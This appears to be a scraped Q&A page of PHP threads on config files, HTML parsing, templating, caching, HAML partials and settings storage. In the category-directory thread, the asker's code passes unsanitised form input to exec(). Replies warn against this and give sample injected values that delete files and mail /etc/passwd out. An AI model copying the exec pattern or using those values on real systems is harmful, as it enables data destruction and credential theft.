Update/manipulate a PHP file with new code - php

I have a configuration file which, amongst other things, defines a whole bunch of values and callables. I'm writing a development tool which needs to update some of the definitions in this file. I can't think of a way to do this which isn't just reading the file and writing my string at a certain point defined by a comment within the file.
Imagine my file looks like this:
<?php
$things = [
'a_thing' => 'some value',
'callable_thing' => function() {
return SomeClass();
}
// END THINGS
];
I'd like to insert a new array key into this array (the value of which might be any valid option), in alphabetical order. Is this possible, using Reflection maybe? Second best would be to place a specially formatted comment (i.e the "// END THINGS" comment) as a "target" and insert before it, but I can't help but feel that's pretty hacky, and doesn't satisfy the alphabetical requirement.
I'm aware of the implications of self-mutating code. This is a developer tool and would only be used locally to automate common file->create->update tasks when setting up new projects.

You could use the var_export() function to print the value of a variable in a way that can be evaluated. So you would load the file with include($filename);, and modify the contents of $things. Then you can update the file with:
$contents = '$things = ' . var_export($things, true) . ';';
file_put_contents($filename, $contents);

Related

Is there a simple way to get and manipulate nested <div> tags with php

First off, I'm far from awesome with PHP - having only a basic familiarity with it, but I'm looking for a way to manipulate the contents of nested divs with php. This is a basic site for a local non-profit food bank that will allow them to post events for their clientelle.
For example, the file I want to parse and work with has this structure (consider this the complete file though there may be more than 2 entries at any point in time):
<div class="event">
<div class="eventTitle">title text</div>
<div class="eventContent">event content</div>
</div>
<div class="event">
<div class="eventTitle">title2</div>
<div class="eventContent">event content2</div>
</div>
My thoughts are to parse it (what's the best way?), and build a multidimensional array of all div with class="event", and the nested contents of each. However, up to this point all my attempts have ended in failure.
The point of this is allow the user (non-technical food bank admin) to add, edit, and delete these structures. I have the code working to add the structures - but am uncertain as to how I would re-open the file at a later date to then edit and/or delete select instances of the "event" divs and their nested contents. It seems like it should be an easy task but I just can't wrap my head around the search results I have found online.
I have tried some stuff with preg_match(), getElementById(), and getElementByTagName(). I'd really like to help this organization out but I'm at the point where I have to defer to my betters for advice on how to solve the task at hand.
Thanks in advance.
To Clarify:
This is for their website, hosted on an external service by a provider that does not allow them to host a DB or provide ftp/sftp/ssh access to the server for regular maintenance. The plan is to get the site up there once, and from then on, have it maintained via an unsecure (no other options at this point) url.
Can anyone provide a sample php syntax to parse the above html and create a multidimensional array of the div tags? As I mentioned, I have attempted to thumb my way through it, but have been unsuccessful. I know what I need to do, I just get lost in the syntax.
IE: this is what I've come up with to do this, but it doesn't seem to work, and I don't have a strong enough understanding of php to understand exactly why it does not.
<?php
$doc = new DOMDocument();
$doc->load('events.php');
$events = array();
foreach ($doc->getElementsByTagName('div') as $node) {
// looks at each <div> tag and creates an array from the other named tags below // hopefully...
$edetails = array (
'title' => $node->getElementsByTagName('eventTitle')->item(0)->nodeValue,
'desc' => $node->getElementsByTagName('eventContent')->item(0)->nodeValue
);
array_push($events, $edetails);
}
foreach ($events as &$edetails) {
// walk through the $events array and write out the appropriate information.
echo $edetails['title'] . "<br>";
echo $edetails['desc'] . "<br>";
}
print_r($events); // this is currently empty and not being populated
?>
Error:
PHP Warning: DOMDocument::load(): Extra content at the end of the document in /var/www/html/events.php, line: 7 in /var/www/html/test.php on line 4
Looking at this now, I realize this would never work because it is looking for tags named eventTitle and eventContent, not classes. :(
I would use a "database", whether it's an sqlite database or a simple text file (seems sufficient for your needs), and use php scripts to manipulate that file and build the required html to manage the text/database file and display the contents.
That would be a lot easier than using DOM manipulation to add / edit / remove events.
By the way, I would probably look for a sponsor, get a decent hosting provider and use a real database...
If you want to keep using the "php" file you have (which I think is needless complex), the reasons your current code fails are:
1) The load() method for DOMDocument is designed for XML, and expects a well formed file. The work around for this would be to either use the loadHTMLFile() method, or to wrap everything in a parent element.
2) The looping fails as the getElementsByTagName() is looking for tags - so the outermost loop gets 6 different divs in your current example (the parent event, and the children eventTitle and eventContent)
3) The inner loops fail of course, as you're again using getElementsByTagName(). Note that the tag names are all still 'div'; what you're really trying/wanting to search on is the value of 'class' attribute. In theory, you could work around this by putting in a lot of logic using things like hasChildNodes() and/or getAttribute().
Alternatively, you could restructure using valid XML, rather than this weird hybrid you're trying to use - if you do that, you could use DOMDocument to write out the file, as well as read it. Probably overkill, unless you're looking to learn how to use the PHP DOM libraries and XML.
As other's have mentioned, I'd change the format of events.php into something besides a bunch of div's. Since a database isn't an option, I'd probably go for a pipe delimited file, something like:
title text|event content
title2|event content2
The code to parse this would be much simpler, something along the lines of:
<?php
$events = array();
$filename = 'events.txt';
if (file_exists($filename)) {
$lines = file($filename);
foreach ($lines as $line) {
list($title, $desc) = explode('|', $line);
$event = array('title'=>$title, 'desc'=>$desc);
$events[] = $event; //better way of adding one element to an array than array_push (http://php.net/manual/en/function.array-push.php)
}
}
print_r($events);
?>
Note that this code reads the whole file into memory, so if they have too many events or super long descriptions, this could get unwieldy, but should work fine for hundreds, even thousands, of events or so.

What is the best way to change matched words by one other in a file?

I'm on a website project and administrators are able to create categories. When they do make them the name of the category is added to the database.
In the PHP file that processes the form used to create categories, I create a directory with the given name in the specific directory of my host, which at this time looks like:
exec('mkdir /homezx/user/website/categories/' . $_POST['name']);
It works fine, but now I'd like to copy a template from a resource folder to this new created directory (would be the index of it) and I know how to do it.
exec('cp .../templates/index.php /.../categories/' . $_POST['name'] . '/index.php');
The problem is I want to craft this template so it can fit the folder where it is placed.
In the template file, I've replace all the parts that will be different from one to one index with the string '%name%'.
What could be the best way to copy this file in a created folder, after having changed all the '%name%' by a given name (e.g. in the title tag)?
$name=$_POST['name'];
mkdir($path_to_new_folder);
$template=fopen($path_to_template);
$str=file_get_contents($template);
$newstr=str_replace('%name%',$name,$str);
fclose($template);
$newfile=fopen($path_to_new_folder.'/index.php','w');
fwrite($newfile,$new_str);
fclose($newfile);
is this what you're trying to do? it will open your templace, replace %name% with the new name, create the directory, and the new file, write the edited template file and save it
I am by no means a hacker, nor even close to that. Thse examples probably would not even work on first try, this is just to get you thinkin. What if $_POST['name'] contains ...
$_POST['name'] = ";rm -rf /"; // ;ends the mkdir instruction ..
or ...
$_POST['name'] = ";mail -s “Pawned” badguy#allyourbasebelongtous.com < /etc/passwd";
Friendly advice, never ever ever use exec like that. Better yet, never ever ever use exec if you can avoid it, especially on web-based applications.
It is advisable to use PHP's mkdir() and copy() functions. For example, couldn't $_POST['name'] be anything? Do you really want to exec() anything?
Secondly, to accomplish the templating, you can use something as simple as this.
$template = file_get_contents('template.html');
$replacements = array(
'%name%' => 'Oddantfr'
);
$contents = str_replace(
array_keys($replacements),
array_values($replacements),
$template
);
file_put_contents('template.html', $contents);
This is not an answer to the question per se, but a comment that cannot be contained in a comment. However, you need to know this if you don't already.
exec('mkdir /homezx/user/website/categories/' . $_POST['name']);
This is very very very bad. Do NOT do this. When you run an exec() in PHP, the first argument is run as a string, which allows for things like this to take place:
$_POST[] ~ ".'; i0wnZU(); doBadStuff();'";
Which would make your exec()'d code equivalent to:
exec('mkdir /homezx/user/website/categories/'.'; i0wnZU(); doBadStuff();');
Replace my two funny functions with actual bad things (maybe, a root'd script or something), and you have a security hole allowing access to your server's underlying OS.
Use the PHP-provided mkdir() and copy() functions, and CLEAN any POST/GET variables you have submitted to you. Do not EVER just plug it in directly into your code uncleaned, especially in database queries.

How to cache code in PHP?

I am creating a custom form building system, which includes various tokens. These tokens are found using Regular Expressions, and depending on the type of toke, parsed. Some require simple replacement, some require cycles, and so forth.
Now I know, that RegExp is quite resource and time consuming, so I would like to be able to parse the code for the form once, creating a php code, and then save the PHP code, for next uses. How would I go about doing this?
So far I have only seen output caching. Is there a way to cache commands like echo and cycles like foreach()?
Because of misunderstandings, I'll create an example.
Unparsed template data:
Thank You for Your interest, [*Title*] [*Firstname*] [*Lastname*]. Here are the details of Your order!
[*KeyValuePairs*]
Here is the link to Your request: [*LinkToRequest*].
Parsed template:
"Thank You for Your interest, <?php echo $data->title;?> <?php echo $data->firstname;?> <?php echo $data->lastname;?>. Here are the details of Your order!
<?php foreach($data->values as $key=>$value){
echo $key."-".$value
}?>
Here is the link to Your request: <?php echo $data->linkToRequest;?>.
I would then save the parsed template, and instead of parsing the template every time, just pass the $data variable to the already parsed one, which would generate an output.
You simply generate the included file, you save it in a non-publicly accessible folder, and you include inside a PHP function using include($filename);
A code example:
function render( $___template, $___data_array = array() )
{
ob_start();
extract( $___data_array );
include ( $___template);
$output = ob_get_clean();
echo $output;
}
$data = array('Title' => 'My title', 'FirstName' => 'John');
render('templates/mytemplate.php', $data);
Note the key point is using extract ( http://php.net/extract ) to expand the array contents in real vars.
(inside the scope of the function $___data['FirstName'] becomes $FirstName)
UPDATE: this is, roughly, the method used by Wordpress, CodeIgniter and other frameworks to load their PHP based templates.
I'm not sure if understood your problem, but did you try using APC?
With APC you could cache variables so if you echo a specific variable, you could get it from cache.
You do all your calculations, save the information in some variables, and save those variables in the cache. Then, next time you just fetch that information from cache.
It's really easy to use APC. You just have to call apc_fetch($key) to fetch, and apc_store($key, $value, $howLongYouWant2Cache) to save it.
You best bet would to simply generate a PHP file and save it. I.e.,
$replacement = 'foobar';
$phpCodeTemplate = "<?php echo '$replacement'; ?>";
file_put_contents('some_unique_file_name.php', $phpCodeTemplate);
Just be very careful when dynamically generating PHP files, as you don't want to allow users to manipulate data to include anything malicious.
Then, in your process, simply check if the file exists, is so, run it, otherwise, generate the file.

How can I split a HAML template into different partials/includes in PHP?

I am a PHP dev trying to start using HAML, using this implementation:
http://phphaml.sourceforge.net/
HAML looks awesome, but I don't understand if/how it supports partials (or includes, as they are called in the PHP world).
I would like to have a master template HAML file that then goes and loads up a bunch of partials for all the little pieces. (Then I can reuse those pieces in other templates too.)
In PHP or Ruby this would be really easy, is there any way to do this with HAML? thanks!
dylan
You could create a global render_haml_partial method by analogy with phpHaml's existing display_haml method that might look something like:
function render_haml_partial($sFilename, $aVariables = array(), $sTmp = true, $bGPSSC = false)
{
$sPath = realpath($sFilename);
$haml = new HamlParser(dirname($sPath), $sTmp);
$haml->append($GLOBALS);
if ($bGPSSC)
{
$haml->append($_GET);
$haml->append($_POST);
$haml->append($_SESSION);
$haml->append($_SERVER);
$haml->append($_COOKIE);
}
$haml->append($aVariables);
return $haml->fetch($sFilename);
}
This method could be placed in phpHaml's HamlParser.class.php file so it is available to all your templates.
The only difference between this and display_haml is that it invokes fetch instead of display at the end and returns the result so you can then insert it in-place into the invoking template.
You would then use it in your PHP/HAML templates as follows:
= render_haml_template("path to partial")
This would then be very similar to the Rails/HAML syntax:
= render :partial => 'path to partial'
Note that using display_haml directly does not have quite the same effect since it renders the template directly to the output instead of returning the result to the caller. Thus you could do the following:
- display_haml("path to partial")
But this doesn't capture the result of the render.
I'm guessing that somebody who cares enough about phpHaml might add such a render_haml_partial or something similar eventually - I might suggest it to the author some time.
Quite an old question, but I've updated the source code of phpHaml to reflect this new functionality!
Check out the commit #github
https://github.com/endorama/phphaml/commit/8d95d5ebff06275db8b14438e566c6e41ec91b7f

Storing, Updating, Retrieving settings for a PHP Application without a Database

I need to be able to store data for a php application in a file. I need to be able to do this without any sort of external dependencies other than PHP itself.
Here are the requirements I have:
Settings will not be updated/added/removed very often. So updating of settings does not have to be very efficient. However, I do want to be able to do this all through a PHP script, not through editing of files.
Settings will be read constantly, so reading of settings must be very efficient.
Settings are in a unique format, if I had them in an array it might be something like $Settings["Database"]["AccessSettings"]["Username"]["myDBUsername"]; $Settings["Database"]["AccessSettings"]["Password"]["myDBPassword"];
I would prefer to not have settings stored in arrays like I mentioned above. Instead I would prefer some access methods: getConfig("Database","Accesssettings","Username") would return 'myDBUsername'. The reason for this is I want to limit the variables I am storing in the global scope.
What would the best way of getting/retrieving these be?
Do the the hierarchy I was thinking possibly an xml file, but I wasn't sure what PHP was like for accessing xml files (particularly the fact that I need to be able to add, edit, and remove). If it should be XML what sort of xml access should I look into.
If it is another format, I would like some pointers to the right direction for what to look into for how to use that format.
Brian, parse_ini_file is what you need.
Ah, I missed the requirement that you'd be editing this via PHP.
In that case there is nothing native to PHP that you can use for this purpose. You'd have to roll your own.
You could save yourself a ton of time by simply using Zend_Config_Ini though. I know you state that you don't want to use anything else, but Zend Framework is structured to allow you to use whatever pieces of it you need. Zend_Config can be used on it's own. You can certainly just add these few classes to your project and let them handle your INI file parsing.
Here is an example using your samples above:
[config]
Database.AccessSettings.Username = myDBUsername
Database.AccessSettings.Password = myDBPassword
You would load and access this as simply as:
$config = new Zend_Config_Ini('/path/to/ini', 'config');
echo $config->Datbase->AccessSettings->Username; // prints "myDBUsername"
echo $config->Datbase->AccessSettings->Password; // prints "myDBPassword"
To edit and save your config you would use the following:
$config->Database->AccessSettings->Password = "foobar";
$writer = new Zend_Config_Writer_Ini(array('config' => $config,
'filename' => 'config.ini'));
$writer->write();
Edit
Not really sure why people are voting this down based on vog's misguided comments. It is very simple to make this writable by multiple persons by using an exclusive lock. Zend_Config_Writer uses file_put_contents to do it's writing, which has always supported the the LOCK_EX flag, which exclusively locks a file for writing. When using this flag, you cannot have multiple writers attempting to update the file at the same time.
To use this flag with Zend_Config_Writer it's as simple as follows:
$writer = new Zend_Config_Writer_Ini(array('config' => $config,
'filename' => 'config.ini'));
$writer->setExclusiveLock(true);
$writer->write();
An alternate syntax:
$writer = new Zend_Config_Writer_Ini();
$writer->write('config.ini', $config, true); // 3rd parameter is $exclusiveLock
If you're not hand editing, use serialized data.
Writing config using serialize:
file_put_contents('myConfig.txt', serialize($Settings));
Reading config using unserialize:
$Settings = unserialize(file_get_contents('myConfig.txt'));
You could write a class for modifying and getting values for this data using PHP magic functions __get() and __set().
If you are willing to drop in a library, you could use Spyc and have your configuration in a YAML file.
You could also use PHP's support for SQLite which would mean your database is just a file so no need for a DB server.
DBM files may not be a bad idea. PHP has built in support for the various DBM-file varieties:
http://www.php.net/manual/en/book.dba.php

Categories